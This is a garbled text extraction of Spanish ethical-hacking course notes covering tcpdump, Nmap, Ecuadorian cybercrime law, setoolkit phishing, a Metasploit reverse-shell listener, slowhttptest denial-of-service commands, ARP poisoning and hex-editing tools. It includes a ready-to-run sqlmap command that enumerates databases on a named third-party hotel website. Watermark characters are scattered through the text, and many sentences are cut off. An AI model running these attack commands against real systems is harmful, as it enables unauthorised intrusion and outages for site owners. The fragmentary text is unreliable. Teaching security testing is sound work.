Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Introducción
conocimientos, que no necesariamente necesita de experiencia, la cual está relacionada con las
utilizarlas bien o con gran pericia, además, también le permite registrar el funcionamiento de estas y
encontrar otras variaciones las cuales presentan unas características algo distintas a la original.
c
.e
Una de las más conocidas es ‘cracker’. Este posee la similitud respecto al ‘hacker’ de utilizar sus
du
conocimientos sobre las tecnologías de la información para violar su seguridad, pero con la
.e
diferencia de que los fines son para beneficio propio y con un propósito que suele conllevar a una
infracción penal.
te
.u
La otra cara del ‘hacker’ la encontramos en el título de este apartado, el ‘hacker’ ético. Este es
ea
completamente opuesto al ‘cracker’, ya que sus fines se basan en conocer al sistema para poder
protegerlo de la mejor manera posible, haciendo que las vulnerabilidades que este ‘hacker’
in
Hoy en día a ambos tipos de ‘hacker’ mostrados aquí se les llama de la misma manera, pero dentro
as
Para entender de una forma más práctica este punto, podemos exponer algunas prácticas que los
ae
Si en una empresa existe una red en la cual se conectan todos los sistemas para compartir
información importante, existe un riesgo que desde el exterior se pueda obtener acceso a esta red y
obtener tal información. En este punto entra en juego el conocimiento del sistema para intentar
encontrar el modus operandi de un ‘cracker’ a la hora de penetrar en una red. Una vez localizado, el
‘hacker’ ético impondrá una serie de barreras para que sea imposible la entrada de cualquier
amenaza.
No obstante, no siempre se encuentra una solución definitiva a todos los peligros, pero si es
maestriasenlinea.ute.edu.ec
1 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
aconsejable que cuanto más tiempo se le dedique a la seguridad y un mayor conocimiento se tenga,
c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m
maestriasenlinea.ute.edu.ec
2 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Conocer en que consiste la seguridad informática y cómo surge. Aprender que es el hacking
ético y como este no necesariamente puede ser usado para hacer el mal.
La importancia de conocer a los enemigos y usar ese conocimiento para mejorar la seguridad.
Aprender que es un ataque informático y como este puede tener diversas consecuencias.
c
Conocer las medidas imprescindibles para los hackers éticos que deben de asegurar el acceso
.e
seguro a los sistemas.
du
Conocer el uso de protocolos de tipo TCP/IP y como se relaciona con la red.
.e
Saber cuáles son las herramientas que pueden ser usadas para realizar un análisis del tráfico
te
de la red. .u
Conocer los diferentes tipos de ataques que se pueden realizar y cuáles son las consecuencias
ea
Conocer la personalización que hacen los sistemas de operativos acerca de los usuarios, grupos
Saber cómo la contraseña ha sido desde el comienzo una de las medidas estándar de
ri
protección.
st
mismos.
Saber cómo ciertos virus pueden afectar a los procesos de arranque, hibernación, etc.
m
Conocer los consejos de seguridad web para evitar todo tipo de ataques.
maestriasenlinea.ute.edu.ec
3 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Mapa Conceptual
c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m
maestriasenlinea.ute.edu.ec
4 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m
maestriasenlinea.ute.edu.ec
5 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
Three-Way Handshake
as
Con el uso de protocolo TCP, las aplicaciones pueden comunicarse en forma segura (gracias al
"acuse de recibo" -ACK- del protocolo TCP) independientemente de las capas inferiores. Esto
ri
significa que los routers (que funcionan en la capa de red) solo tienen que enviar los datos en forma
st
de segmentos, sin preocuparse con el monitoreo de datos porque esta función la cumple la capa de
ae
Permite colocar los segmentos nuevamente en orden cuando vienen del protocolo IP.
Permite el monitoreo del flujo de los datos y así evitar la saturación de la red.
Permite que los datos se formen en segmentos de longitud variada para "entregarlos" al
protocolo IP.
Permite multiplexar los datos, es decir, que la información que viene de diferentes fuentes (por
maestriasenlinea.ute.edu.ec
6 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Negociación en 3 pasos
Aunque es posible que un par de entidades finales comiencen una conexión entre ellas
queda a la escucha de nuevas conexiones. Es común referirse a esto como apertura pasiva, y
c
.e
determina el lado servidor de una conexión. El lado cliente de una conexión realiza una apertura
activa de un puerto enviando un paquete SYN inicial al servidor como parte de la negociación en
du
tres pasos. En el lado del servidor (este receptor también puede ser una PC o alguna estación
.e
terminal) se comprueba si el puerto está abierto, es decir, si existe algún proceso escuchando en ese
te
puerto, pues se debe verificar que el dispositivo de destino tenga este servicio activo y esté
aceptando peticiones en el número de puerto que el cliente intenta usar para la sesión. En caso de
.u
no estarlo, se envía al cliente un paquete de respuesta con el bit RST activado, lo que significa el
ea
rechazo del intento de conexión. En caso de que sí se encuentre abierto el puerto, el lado servidor
in
respondería a la petición SYN válida con un paquete SYN/ACK. Finalmente, el cliente debería
responderle al servidor con un ACK, completando así la negociación en tres pasos (SYN, SYN/ACK y
l
en
secuencia generado por cada lado, ayudando de este modo a que no se puedan establecer
maestriasenlinea.ute.edu.ec
7 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Su red es la columna vertebral de sus operaciones comerciales. Asegúrate de saber lo que está
pasando en su interior.
tcpdump es una increíble herramienta de línea de comandos para rastrear redes. Es un estándar de
La herramienta tcpdump puede ser de gran ayuda para resolver networking cuestiones. Los
c
.e
paquetes se pueden guardar en un archivo y luego analizar. Es una buena idea ejecutar esta
du
herramienta de vez en cuando para vigilar su red.
.e
tcpdump le permite examinar los encabezados de los paquetes TCP / IP. Imprime una línea para
cada paquete y el comando sigue ejecutándose hasta que presiona Ctrl + C para terminar.
te
.u
Examinemos una línea de un resultado de ejemplo:
ea
20:58:26.765637 IP 10.0.0.50.80 > 10.0.0.1.53181: Flags [F.], seq 1, ack 2, win 453, options
in
Protocolo (IP).
st
Banderas TCP (Flags [F.]). Las banderas indican el estado de la conexión. Esto puede incluir más
de un valor, como en este ejemplo [F.] para FIN-ACK. Este campo puede tener los siguientes valores:
maestriasenlinea.ute.edu.ec
8 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Tamaño de ventana (win 453). El número de bytes disponibles en el búfer de recepción. A esto
c
Installation
.e
du
En distribuciones basadas en Debian, tcpdump se puede instalar con el comando APT:
.e
# apt install tcpdump -y
te
En distribuciones basadas en RPM, tcpdump se puede instalar con YUM:
.u
# yum install tcpdump -y
ea
usando DNF si RHEL 8
Necesita ser root para ejecutar tcpdump. Incluye muchas opciones y filtros. La ejecución de
as
tcpdump sin ninguna opción capturará todos los paquetes que fluyen a través de la interfaz
ri
predeterminada.
st
Para ver la lista de interfaces de red disponibles en el sistema y en las que tcpdump puede capturar
ae
paquetes.
m
# tcpdump -D
Or
# Tcpdump --list-interfaces
1.eth0
maestriasenlinea.ute.edu.ec
9 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
4.eth1
6.lo [Loopback]
Esto es especialmente útil en sistemas que no tienen un comando para listar interfaces.
c
.e
Para capturar paquetes que fluyen a través de una interfaz específica, use el -i bandera con el
du
nombre de la interfaz. Sin el -i interfaz tcpdump elegirá la primera interfaz de red que encuentra.
.e
# tcpdump -i eth1
te
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
length 64
in
length 64
en
length 64
ri
Los -v bandera aumenta la información que ve sobre los paquetes, -vv te da aún más detalles.
st
ae
De forma predeterminada, tcpdump resuelve las direcciones IP en nombres de host y también usa
nombres de servicio en lugar de números de puerto. Si el DNS está roto o no desea que tcpdump
m
# tcpdump -n
04:19:07.675497 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 100, win 65535, length 0
04:19:07.675747 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 100:136, ack 1, win 37232,
maestriasenlinea.ute.edu.ec
10 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
length 36
04:19:07.675902 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 136, win 65535, length 0
04:19:07.676142 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 136:236, ack 1, win 37232,
length 100
c
#tcpdump -c 5
.e
04:19:07.675216 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 2186733178:2186733278,
du
ack 204106815, win 37232, length 100
04:19:07.675497 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 100, win 65535, length 0
.e
04:19:07.675747 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 100:136, ack 1, win 37232,
te
length 36 .u
04:19:07.675902 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 136, win 65535, length 0
04:19:07.676142 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 136:236, ack 1, win 37232,
ea
length 100
in
5 packets captured
l
en
La salida predeterminada de tcpdump usa marcas de tiempo Unix. Para capturar paquetes con una
as
# tcpdump -tttt
st
2020-07-06 04:30:12.203910 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 36, win 65535,
length 0
2020-07-06 04:30:12.204292 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 36:72, ack 1, win
37232, length 36
2020-07-06 04:30:12.204524 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 72, win 65535,
length 0
2020-07-06 04:30:12.204658 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 72:108, ack 1,
maestriasenlinea.ute.edu.ec
11 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
filtros, se muestran todos los encabezados de los paquetes. Los filtros más utilizados son puerto,
Filtro de puerto
Utilice el filtro de puerto para ver los paquetes que llegan a un puerto específico:
c
.e
# Tcpdump -i eth1 -c 5 port 80
du
23:54:24.978612 IP 10.0.0.1.53971 > 10.0.0.50.80: Flags [SEW], seq 53967733, win 65535,
.e
options [mss 1460,nop,wscale 5,nop,nop,TS val 256360128 ecr 0,sackOK,eol], length 0
te
23:54:24.978650 IP 10.0.0.50.80 > 10.0.0.1.53971: Flags [S.E], seq 996967790, ack 53967734,
win 28960, options [mss 1460,sackOK,TS val 5625522 ecr 256360128,nop,wscale 6], length 0
.u
23:54:24.978699 IP 10.0.0.1.53972 > 10.0.0.50.80: Flags [SEW], seq 226341105, win 65535,
ea
226341106, win 28960, options [mss 1460,sackOK,TS val 5625522 ecr 256360128,nop,wscale
l
en
6], length 0
as
Filtro de host
ri
st
Para capturar todos los paquetes que llegan o salen del host con la dirección IP 10.0.2.15:
ae
03:48:06.087806 IP 10.0.2.2.50225 > 10.0.2.15.22: Flags [.], ack 36, win 65535, length 0
03:48:06.088087 IP 10.0.2.15.22 > 10.0.2.2.50225: Flags [P.], seq 36:72, ack 1, win 37232,
length 36
03:48:06.088274 IP 10.0.2.2.50225 > 10.0.2.15.22: Flags [.], ack 72, win 65535, length 0
03:48:06.088440 IP 10.0.2.15.22 > 10.0.2.2.50225: Flags [P.], seq 72:108, ack 1, win 37232,
length 36
maestriasenlinea.ute.edu.ec
12 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Para capturar paquetes de un tipo de protocolo específico, por ejemplo, icmp, en la interfaz eth1:
04:03:47.408545 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 75,
length 64
04:03:47.408999 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 2812, seq 75,
length 64
c
04:03:48.408697 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 76,
.e
length 64
du
04:03:48.409208 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 2812, seq 76,
length 64
.e
04:03:49.411287 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 2812, seq 77,
te
length 64 .u
Combinar expresiones de filtro
ea
in
Puede combinar estas expresiones de filtro con los operadores AND, OR y NOT. Esto le permitirá
2116767648, win 4117, options [nop,nop,TS val 257786173 ecr 5979014], length 0
ae
00:18:17.155104 IP 10.0.0.1.54225 > 10.0.0.50.80: Flags [S], seq 904045691, win 65535,
m
ack 1348066220, win 4111, options [nop,nop,TS val 257786174 ecr 5979015], length 499:
00:18:17.157366 IP 10.0.0.1.54225 > 10.0.0.50.80: Flags [.], ack 1306947508, win 4117,
Para capturar todos los paquetes excepto ICMP, use el operador NOT:
maestriasenlinea.ute.edu.ec
13 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Dado que la salida de tcpdump puede desplazarse más allá de la pantalla bastante rápido, puede
almacenar los encabezados de los paquetes en un archivo con el indicador -w. Los archivos para
PCAP significa captura de paquetes. El siguiente comando guarda 10 líneas de salida en la interfaz
c
.e
eth1 en icmp.pcap.
du
# tcpdump -i eth1 -c 10 -w icmp.pcap
.e
tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
te
10 packets captured
.u
10 packets received by filter
ea
tcpdump -r icmp.pcap
ri
05:33:20.852732 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 33,
ae
length 64
m
05:33:20.853245 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 3261, seq 33, length
64
05:33:21.852586 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 34,
length 64
05:33:21.853104 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 3261, seq 34, length
64
maestriasenlinea.ute.edu.ec
14 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
05:33:22.852615 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 3261, seq 35,
length 64
Hasta ahora solo hemos visto los encabezados de los paquetes, para ver el uso del contenido del
paquete -A opción. Esto imprime el contenido del paquete en ASCII, que puede ser de ayuda en la
resolución de problemas de red. también -X bandera se puede utilizar para mostrar la salida en
c
formato hexadecimal. Esto puede no ser de mucha ayuda si la conexión está encriptada.
.e
# tcpdump -c10 -i eth1 -n -A port 80
du
23:35:53.109306 IP 10.0.0.1.53916 > 10.0.0.50.80: Flags [P.], seq 2366590408:2366590907, ack
.e
175457677, win 4111, options [nop,nop,TS val 255253117 ecr 5344866], length 499: HTTP: GET /
te
HTTP/1.1 .u
E..'..@.@.%.
ea
...
l in
..2...P..M.
en
uE............
as
ri
.6.}.Q.bGET / HTTP/1.1
st
Host: 10.0.0.50
ae
Connection: keep-alive
m
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept:
maestriasenlinea.ute.edu.ec
15 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,applicatio
n/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9
c
.e
1.3. Herramientas de auditorias y Hacking Ético
du
Kali Linux
.e
FTK Imager
te
Autopsy .u
Pentoo Linux - Penetration Testing and Security Assessment
ea
https://www.pentoo.ch
http://www.deftlinux.net/
l
en
https://www.caine-live.net
as
ri
st
ae
m
maestriasenlinea.ute.edu.ec
16 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m
maestriasenlinea.ute.edu.ec
17 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
1.4. Detección de Sistemas Operativos .u
Al realizar una consulta por ICMP, debemos verificar la respuesta del Time To Live
ea
in
Linux/Unix: 64
l
Windows: 128
en
MacOS: 64
as
Solaris/AIX: 254
ri
st
ae
m
maestriasenlinea.ute.edu.ec
18 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
NMAP
Nmap es la mejor herramienta de escaneo de puertos y descubrimiento de hosts que existe
actualmente. Nmap nos permitirá obtener una gran cantidad de información sobre los equipos de
nuestra red, es capaz de escanear qué hosts están levantados, e incluso comprobar si tienen algún
puerto abierto, si están filtrando los puertos (tienen un firewall activado), e incluso saber qué
sistema operativo está utilizando un determinado objetivo. ¿Quieres saber todo sobre Nmap y cómo
utilizarlo? En RedesZone te explicamos todo lo que debes saber sobre esta herramienta.
c
.e
Principales características
du
Nmap es una utilidad completamente gratuita y de código abierto, nos permite descubrir redes y
.e
host, así como realizar auditoría de seguridad. Este programa es compatible con sistemas operativos
te
Linux, Windows y también macOS, pero en todos ellos se utiliza a través de la línea de comandos,
aunque tenemos la posibilidad de instalar ZenMap que es la utilidad gráfica de Nmap para hacer los
.u
escaneos de puertos a través de la interfaz gráfica de usuario. Si no quieres pelearte con comandos
ea
a través de consola, esta interfaz gráfica de usuario te podría ser útil para los primeros pasos con
in
este gran programa, no obstante, cuando tengas más experiencia seguramente ejecutes todas las
l
Nmap nos permite detectar hosts de una red local, y también a través de Internet, de esta forma,
as
podremos saber si dichos hosts (ordenadores, servidores, routers, switches, dispositivos IoT) están
ri
actualmente conectados a Internet o a la red local. Esta herramienta también permite realizar un
st
escaneo de puertos a los diferentes hosts, ver qué servicios tenemos activos en dichos hosts gracias
ae
a que nos dirá el estado de sus puertos, podremos saber qué sistema operativo está utilizando un
Nmap tiene diferentes tipos de escaneo de puertos, pueden ser a través de segmentos TCP,
datagramas UDP o paquetes ICMP, además, permite realizar escaneos de forma oculta para que
sean difíciles de detectar por los firewalls. Por supuesto, podremos hacer escaneo de puertos sobre
ciertos puertos en concreto, entre rangos de puertos, rangos de direcciones IP, posibilidad de usar
paquetes TCP null, FIN, Xmas y ACK además de SYN, para localizar los puertos TCP abiertos.
maestriasenlinea.ute.edu.ec
19 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Otras características que nos brinda esta herramienta, es la posibilidad de hacer un completo
funcionando. Este programa fue diseñado para escanear una gran cantidad de hosts, por tanto, si
necesitas escanear múltiples objetivos no tendrás problemas. Este programe es muy flexible,
incorpora decenas de técnicas avanzadas para escanear hosts y puertos, además, también permite
realizar auditorías a través de NSE (Nmap Search Engine), por lo que es realmente potente.
Nmap tiene varios estados en los puertos que aparecerán cuando hagamos un escaneo de puertos.
c
.e
Es fundamental saber qué significa cada estado de Nmap, porque con cualquier escaneo de puertos,
du
Estado de los puertos con Nmap
.e
te
Open: una aplicación está activamente aceptando conexiones TCP o UDP. El puerto está
.u
abierto y se puede utilizar, los pentesters podrán utilizar este puerto abierto para explotar el
ea
sistema. Es el estado por defecto si no tenemos ningún firewall bloqueando accesos.
Closed: un puerto que está cerrado es accesible porque responde a Nmap, sin embargo, no
in
hay ninguna aplicación funcionando en dicho puerto. Es útil para descubrir que un host está
l
en
sistema, es recomendable filtrar estos puertos con el firewall para que no sean accesibles. De
as
cara al pentester, es recomendable dejar estos puertos “cerrados” para analizar más tarde, por
ri
Filtered: en este estado Nmap no puede determinar si el puerto está abierto, porque hay un
ae
firewall filtrando los paquetes de Nmap en dicho puerto. Estos puertos filtrados son los que
aparecerán cuando tengamos un firewall activado. Nmap intentará en varias ocasiones intentar
m
Open| Filtered: Nmap no sabe si el puerto está abierto o filtrado. Esto ocurre porque el puerto
abierto no envía ninguna respuesta, y dicha falta de respuesta podría ser por el firewall. Este
estado aparece cuando usamos UDP y IP, y utilizamos escaneos FIN, NULL y Xmas.
Closed | Filtered: en este estado no se sabe si el puerto está cerrado o filtrado. Solo se usa
Una vez que hemos visto las principales características de Nmap, y el estado de los puertos que
maestriasenlinea.ute.edu.ec
20 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m
maestriasenlinea.ute.edu.ec
21 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
104.- Comercialización de pornografía con utilización de niñas, niños o adolescentes
du
173.- Contacto con finalidad sexual con menores de dieciocho años por medios
electrónicos
.e
174.-Oferta de servicios sexuales con menores de dieciocho años por medios electrónicos
te
178.- Violación a la intimidad.- “sin consentimiento o autorización legal de
.u
información Comunicaciones o datos, excepto que participe en el audio o video”
190.- Apropiación fraudulenta por medios electrónicos.- Hackeo con fines de lucro.
ea
232.- Penaliza todo tipo de hackeo incluso “ético” cubre también DDoS
st
234.- Acceso no consentido a sistemas, no hay hackeo, pero hay daño o beneficio
ae
Phishing
m
setoolkit
SET 1
SET 2
SET 3
maestriasenlinea.ute.edu.ec
22 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
SET 2
SET IP KALI
c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m
maestriasenlinea.ute.edu.ec
23 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
2. Levantar el listener:
c
msfconsole
.e
du
use exploit/multi/handler
.e
te
set lhost 192.168.100.40 <IP KALI> .u
set lport 4444
ea
exploit
in
msfconsole
options
exploit
maestriasenlinea.ute.edu.ec
24 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
maestriasenlinea.ute.edu.ec
25 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
slowhttptest -c 1000 -H -g -o attack_stats -i 10 -r 200 -t GET -u http://192.168.44.131 -x 30 -p 3
.e
slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u
du
http://192.168.44.131 -p 3
.e
SQLi - SQL Injection
sudo sqlmap -u http://www.hotel-fortino.gr/gallery.php?id=1 -dbs
te
.u
ea
USER_PRIVILEGES –columns
as
Este es uno de los ataques más peligrosos y efectivos que puede ser usado, y trabaja
ae
redireccionando paquetes de cualquier cliente hacia nuestro dispositivo, una vez que tenemos
posesión de la red, podemos leer/modificar/eliminar esos paquetes. Esto nos permite lanzar ataques
m
muy poderosos.
maestriasenlinea.ute.edu.ec
26 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
ARP Poisoning y ataque híbrido de ingeniería social / web
.e
Es muy efectivo y peligroso porque no es tan fácil defenderse de este ataque ya que toma una
te
.u
PRINCIPALES PROBLEMAS DEL PROTOCOLO ARP
ea
Sea cual sea el equipo desde donde se realice un request/respond, ARP cree que es un equipo dentro
in
de la red verdadero,
l
en
Todos los clientes pueden aceptar respuestas inclusive si ellos no enviaron un requerimiento.
as
Al conectarse las maquinas, lo primero que hacen es preguntar ¿Quién es el Gateway? ¿Quién es el
st
maestriasenlinea.ute.edu.ec
27 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
Podemos explotar estos 2 problemas redireccionando paquetes en la red.
.u
Lo que primero se hará es enviar una respuesta ARP indicando YO SOY EL ROUTER!!
ea
Hecho esto, todos los dispositivos conectados en el segmento de red, autenticarán esa MAC
maestriasenlinea.ute.edu.ec
28 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
netstat -ano
l in
netstat -bano
en
taskkill /F /PID
as
ri
maestriasenlinea.ute.edu.ec
29 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
4. Herramientas de cracking
GNU/Linux nos brinda gran cantidad de productos para la manipulación hexadecimal y binaria. Xxd
c
.e
Personalmente me recuerda mucho a “Norton Commander” Programa que utilizaba en los años
du
noventa del siglo pasado, en el sistema MS-DOS que tenía instalado en el equipo con procesador
286. Mis hermanos y yo lo utilizábamos para ver y modificar los ficheros de los juegos. Como por
.e
ejemplo cambiar las características de los jugadores en el juego “Italia 90”.
te
Xxd ya viene preinstalado en la mayoría de las distribuciones GNU/Linux, para ver sus principales
.u
características y funcionamiento debemos escribir:
ea
$ xxd -h
l in
maestriasenlinea.ute.edu.ec
30 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Volcado a hexadecimal
c
$ xxd Makefile.in
.e
du
Con el resultado:
.e
te
.u
ea
l in
en
as
ri
st
ae
m
escribiendo:
$ xxd –
maestriasenlinea.ute.edu.ec
31 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
Establecer índice de inicio
te
Mientras se descargan desde un archivo, puede haber una gran cantidad de datos que no nos
.u
interesan. Así que simplemente los saltamos. Xxd proporciona la opción -s para saltar al índice
ea
especificado. En este ejemplo, omitiremos las primeras 5 líneas y comenzaremos desde 6. línea.
in
Como sigue:
l
en
Una muestra:
ri
st
ae
m
También podemos acotar la información mostrada entre un índice de inicio y otro de final.
maestriasenlinea.ute.edu.ec
32 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
Por último, que no menos importante, podemos cambiar el tamaño de información mostrada en la
in
columna, que por defecto es 16. Podemos modificar este valor con el parámetro -c , que proporciona
l
Con el resultado:
st
ae
m
hexdump
maestriasenlinea.ute.edu.ec
33 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
hexdump).
c
.e
du
hexdump -c archivo.txt interpretar bytes como caracteres.
.e
te
.u
ea
l in
en
hexedit
st
A diferencia del comando hexdump, este comando no solo muestra la representación en hexadecimal
ae
Su sintaxis es de la forma:
maestriasenlinea.ute.edu.ec
34 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
ejecutarlo sale del pront y habré el programa (como cunando se ejecuta el comando less o el editor
vi)
c
.e
du
.e
te
.u
ea
l in
en
as
La última línea es la de estado, y en este caso representa el nombre del archivo y la ubicación actual
ri
de cursor.
st
ae
Mover
maestriasenlinea.ute.edu.ec
35 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Miscellaneous
c
F2: guardar
.e
F3: cargar archivo
du
F1: ayuda
Ctrl-L: redraw
.e
Ctrl-Z: suspender
te
F2 ó Ctrl-W: guardar .u
Ctrl-X: guardar y salir
Return: ir a
en
Copiar y Pegar
m
Esc-W: copiar
Ctrl-Y: pegar
Esc-I: llenar
Nota: Algunas veces en vez de la tecla escape Esc, puede que funciones la tecla Alt, sino también
maestriasenlinea.ute.edu.ec
36 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
c
.e
du
.e
te
.u
ea
l in
en
as
ri
st
ae
m
The Lord Of The Strings (LOTS) es una herramienta para Linux gratuita y de código abierto
que tiene como objetivo facilitar el análisis de strings extraídos de una muestra maliciosa al eliminar
automáticamente los strings basura, acelerando así los tiempos y permitiéndole al analista enfocar
maestriasenlinea.ute.edu.ec
37 / 46
[AFO02885Q] Seminario de titulación
[MOD0247C5] Seminario de Titulación
[UDI150TYN] Ethical Hacking Cracking o Ingeniería Inversa
Los analistas de malware suelen realizar análisis de dos tipos sobre las muestras de malware:
Análisis estático: Aquellos que se realizan sobre la muestra sin necesidad de ejecutarla. Por
ejemplo: desensamblar el código de un ejecutable, analizar los recursos que contiene, que
c
bibliotecas utiliza, etc.
.e
Análisis dinámico: Aquellos que implican ejecutar la muestra maliciosa. Por ejemplo: analizar
du
el tráfico de red, monitorear las llamadas al sistema, monitorear los archivos modificados,
.e
te
Uno de los análisis estáticos más básicos que suele realizarse sobre malware compilado es el análisis
.u
